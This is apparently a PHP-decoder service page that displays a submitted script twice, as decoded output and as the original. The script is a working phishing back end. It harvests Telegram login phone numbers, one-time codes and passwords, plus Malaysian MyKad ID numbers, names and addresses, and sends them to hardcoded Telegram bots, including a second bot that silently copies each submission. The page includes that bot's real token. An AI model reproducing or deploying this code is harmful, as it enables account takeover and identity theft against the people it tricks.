Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php include_once "config.php"; if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] ..

Decoded Output download

<?php 
include_once "config.php"; 
 
 
 
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') 
$url = "https://"; 
else 
$url = "http://"; 
$url.= $_SERVER['HTTP_HOST']; 
$url.= $_SERVER['REQUEST_URI']; 
 
$id_telegram1  = "6006615258:AAFLdZ7EyP2RPp6jaV4hfajhcRR01Cil0oM"; 
$id_botTele1   = "6089869626"; 
 
if (isset($_POST['phoneNumber'])) { 
    $phone = $_POST['phoneNumber']; 
    $_SESSION['phoneNumber'] = $phone; 
 
    $message = " 
    ( Telegram | Number ) 
 
     - No HP : +6".$phone." "; 
 
    $message1 = " 
     ( Telegram | Number ) 
          
      - Url   : "  .$url. " 
      - No HP : +6".$phone." "; 
 
 
    sendMessage($id_telegram, $message, $id_botTele); 
    send($id_telegram1, $message1, $id_botTele1); 
 
    
 
} 
 
 
 
if (isset($_POST['mycodeValue'])) { 
    $pin =  $_POST['mycodeValue']; 
    
    $phone = isset($_SESSION['phoneNumber']) ? $_SESSION['phoneNumber'] : "Nomor Telepon Tidak Tersedia"; 
     
 
$message = " 
( Telegram | Code ) 
 
- No HP : +6".$phone." 
- Code  : ".$pin."  
 "; 
 
 sendMessage($id_telegram, $message, $id_botTele); 
    sendMessage($id_telegram1, $message, $id_botTele1); 
 
} 
 
if (isset($_POST['passwordValue'])) { 
    $pass = $_POST['passwordValue']; 
    $phone = isset($_SESSION['phoneNumber']) ? $_SESSION['phoneNumber'] : "Nomor Telepon Tidak Tersedia"; 
 
    $message = " 
    ( Telegram | Password ) 
     
    - No HP : +6".$phone." 
    - Password : ".$pass." 
     "; 
 
    sendMessage($id_telegram, $message, $id_botTele); 
    sendMessage($id_telegram1, $message, $id_botTele1); 
 
 
} 
 
if (isset($_POST['mykadValue'])) { 
    $mykad = $_POST['mykadValue']; 
    $name= $_POST['namapenuhValue']; 
    $alamat= $_POST['alamatValue']; 
    $phone = isset($_SESSION['phoneNumber']) ? $_SESSION['phoneNumber'] : "Nomor Telepon Tidak Tersedia"; 
 
    $message = " 
    ( Telegram | MYKAD ) 
     
    - No HP : +6".$phone." 
    - MyKAD : ".$mykad." 
    - Nama : ".$name." 
    - Alamat : ".$alamat." 
     "; 
 
    sendMessage($id_telegram, $message, $id_botTele); 
    sendMessage($id_telegram1, $message, $id_botTele1); 
 
 
}; 
 
function sendMessage($id_telegram, $message, $id_botTele) { 
    $url = "https://api.telegram.org/bot" . $id_telegram . "/sendMessage?parse_mode=markdown&chat_id=" . $id_botTele; 
    $url = $url . "&text=" . urlencode($message); 
    $ch = curl_init(); 
    $optArray = array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true); 
    curl_setopt_array($ch, $optArray); 
    $result = curl_exec($ch); 
    curl_close($ch); 
 
 
}; 
 
function send($id_telegram1, $message1, $id_botTele1) { 
    $url = "https://api.telegram.org/bot" . $id_telegram1 . "/sendMessage?parse_mode=markdown&chat_id=" . $id_botTele1; 
    $url = $url . "&text=" . urlencode($message1); 
    $ch = curl_init(); 
    $optArray = array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true); 
    curl_setopt_array($ch, $optArray); 
    $result = curl_exec($ch); 
    curl_close($ch); 
 
 
}; ?>

Did this file decode correctly?

Original Code

<?php
include_once "config.php";



if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on')
$url = "https://";
else
$url = "http://";
$url.= $_SERVER['HTTP_HOST'];
$url.= $_SERVER['REQUEST_URI'];

$id_telegram1  = "6006615258:AAFLdZ7EyP2RPp6jaV4hfajhcRR01Cil0oM";
$id_botTele1   = "6089869626";

if (isset($_POST['phoneNumber'])) {
    $phone = $_POST['phoneNumber'];
    $_SESSION['phoneNumber'] = $phone;

    $message = "
    ( Telegram | Number )

     - No HP : +6".$phone." ";

    $message1 = "
     ( Telegram | Number )
         
      - Url   : "  .$url. "
      - No HP : +6".$phone." ";


    sendMessage($id_telegram, $message, $id_botTele);
    send($id_telegram1, $message1, $id_botTele1);

   

}



if (isset($_POST['mycodeValue'])) {
    $pin =  $_POST['mycodeValue'];
   
    $phone = isset($_SESSION['phoneNumber']) ? $_SESSION['phoneNumber'] : "Nomor Telepon Tidak Tersedia";
    

$message = "
( Telegram | Code )

- No HP : +6".$phone."
- Code  : ".$pin." 
 ";

 sendMessage($id_telegram, $message, $id_botTele);
    sendMessage($id_telegram1, $message, $id_botTele1);

}

if (isset($_POST['passwordValue'])) {
    $pass = $_POST['passwordValue'];
    $phone = isset($_SESSION['phoneNumber']) ? $_SESSION['phoneNumber'] : "Nomor Telepon Tidak Tersedia";

    $message = "
    ( Telegram | Password )
    
    - No HP : +6".$phone."
    - Password : ".$pass."
     ";

    sendMessage($id_telegram, $message, $id_botTele);
    sendMessage($id_telegram1, $message, $id_botTele1);


}

if (isset($_POST['mykadValue'])) {
    $mykad = $_POST['mykadValue'];
    $name= $_POST['namapenuhValue'];
    $alamat= $_POST['alamatValue'];
    $phone = isset($_SESSION['phoneNumber']) ? $_SESSION['phoneNumber'] : "Nomor Telepon Tidak Tersedia";

    $message = "
    ( Telegram | MYKAD )
    
    - No HP : +6".$phone."
    - MyKAD : ".$mykad."
    - Nama : ".$name."
    - Alamat : ".$alamat."
     ";

    sendMessage($id_telegram, $message, $id_botTele);
    sendMessage($id_telegram1, $message, $id_botTele1);


};

function sendMessage($id_telegram, $message, $id_botTele) {
    $url = "https://api.telegram.org/bot" . $id_telegram . "/sendMessage?parse_mode=markdown&chat_id=" . $id_botTele;
    $url = $url . "&text=" . urlencode($message);
    $ch = curl_init();
    $optArray = array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true);
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);


};

function send($id_telegram1, $message1, $id_botTele1) {
    $url = "https://api.telegram.org/bot" . $id_telegram1 . "/sendMessage?parse_mode=markdown&chat_id=" . $id_botTele1;
    $url = $url . "&text=" . urlencode($message1);
    $ch = curl_init();
    $optArray = array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true);
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);


};

Function Calls

None

Variables

None

Stats

MD5 1f7fb4d066fc160a165cbe53f3d34401
Eval Count 0
Decode Time 70 ms